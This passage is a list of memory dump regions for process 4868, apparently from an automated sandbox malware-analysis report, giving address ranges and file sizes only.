                                                                                  Filesize

                                                                                  820KB

                                                                                • memory/4868-53-0x00007FFB43EA0000-0x00007FFB43EB9000-memory.dmp

                                                                                  Filesize

                                                                                  100KB

                                                                                • memory/4868-48-0x00007FFB3EFD0000-0x00007FFB3EFF3000-memory.dmp

                                                                                  Filesize

                                                                                  140KB

                                                                                • memory/4868-49-0x00007FFB2CDE0000-0x00007FFB2CF57000-memory.dmp

                                                                                  Filesize

                                                                                  1.5MB

                                                                                • memory/4868-43-0x00007FFB440F0000-0x00007FFB44109000-memory.dmp

                                                                                  Filesize

                                                                                  100KB

                                                                                • memory/4868-40-0x00007FFB3F1A0000-0x00007FFB3F1CD000-memory.dmp

                                                                                  Filesize

                                                                                  180KB

                                                                                • memory/4868-32-0x00007FFB42410000-0x00007FFB42433000-memory.dmp

                                                                                  Filesize

                                                                                  140KB

                                                                                • memory/4868-33-0x00007FFB47940000-0x00007FFB4794F000-memory.dmp

                                                                                  Filesize

                                                                                  60KB

                                                                                • memory/4868-25-0x00007FFB2D170000-0x00007FFB2D759000-memory.dmp

                                                                                  Filesize

                                                                                  5.9MB

                                                                                • memory/4868-277-0x00007FFB2CDE0000-0x00007FFB2CF57000-memory.dmp

                                                                                  Filesize

                                                                                  1.5MB

                                                                                • memory/4868-272-0x00007FFB2C8C0000-0x00007FFB2CDE0000-memory.dmp

                                                                                  Filesize

                                                                                  5.1MB

                                                                                • memory/4868-271-0x00007FFB3E320000-0x00007FFB3E3ED000-memory.dmp

                                                                                  Filesize

                                                                                  820KB

                                                                                • memory/4868-261-0x00007FFB2D170000-0x00007FFB2D759000-memory.dmp

                                                                                  Filesize

                                                                                  5.9MB

                                                                                • memory/4868-262-0x00007FFB42410000-0x00007FFB42433000-memory.dmp

                                                                                  Filesize

                                                                                  140KB

                                                                                • memory/4868-276-0x00007FFB3EFD0000-0x00007FFB3EFF3000-memory.dmp

                                                                                  Filesize

                                                                                  140KB

                                                                                • memory/4868-270-0x00007FFB3EB90000-0x00007FFB3EBC3000-memory.dmp

                                                                                  Filesize

                                                                                  204KB

                                                                                • memory/4868-268-0x00007FFB43EA0000-0x00007FFB43EB9000-memory.dmp

                                                                                  Filesize

                                                                                  100KB

                                                                                • memory/4868-296-0x00007FFB2D170000-0x00007FFB2D759000-memory.dmp

                                                                                  Filesize

                                                                                  5.9MB

                                                                                • memory/4868-323-0x00007FFB3E320000-0x00007FFB3E3ED000-memory.dmp

                                                                                  Filesize

                                                                                  820KB

                                                                                • memory/4868-322-0x00007FFB2C8C0000-0x00007FFB2CDE0000-memory.dmp

                                                                                  Filesize

                                                                                  5.1MB

                                                                                • memory/4868-321-0x00007FFB423F0000-0x00007FFB42404000-memory.dmp

                                                                                  Filesize

                                                                                  80KB

                                                                                • memory/4868-320-0x00007FFB3EB90000-0x00007FFB3EBC3000-memory.dmp

                                                                                  Filesize

                                                                                  204KB

                                                                                • memory/4868-319-0x00007FFB42570000-0x00007FFB4257D000-memory.dmp

                                                                                  Filesize

                                                                                  52KB

                                                                                • memory/4868-318-0x00007FFB43EA0000-0x00007FFB43EB9000-memory.dmp

                                                                                  Filesize

                                                                                  100KB

                                                                                • memory/4868-317-0x00007FFB2CDE0000-0x00007FFB2CF57000-memory.dmp

                                                                                  Filesize

                                                                                  1.5MB

                                                                                • memory/4868-316-0x00007FFB3EFD0000-0x00007FFB3EFF3000-memory.dmp

                                                                                  Filesize

                                                                                  140KB

                                                                                • memory/4868-315-0x00007FFB440F0000-0x00007FFB44109000-memory.dmp

                                                                                  Filesize

                                                                                  100KB

                                                                                • memory/4868-314-0x00007FFB3F1A0000-0x00007FFB3F1CD000-memory.dmp

                                                                                  Filesize

                                                                                  180KB

                                                                                • memory/4868-313-0x00007FFB47940000-0x00007FFB4794F000-memory.dmp

                                                                                  Filesize

                                                                                  60KB

                                                                                • memory/4868-312-0x00007FFB42410000-0x00007FFB42433000-memory.dmp

                                                                                  Filesize

                                                                                  140KB

                                                                                • memory/4868-311-0x00007FFB3F190000-0x00007FFB3F19D000-memory.dmp

                                                                                  Filesize

                                                                                  52KB

                                                                                • memory/4868-310-0x00007FFB3DE50000-0x00007FFB3DF6C000-memory.dmp

                                                                                  Filesize

                                                                                  1.1MB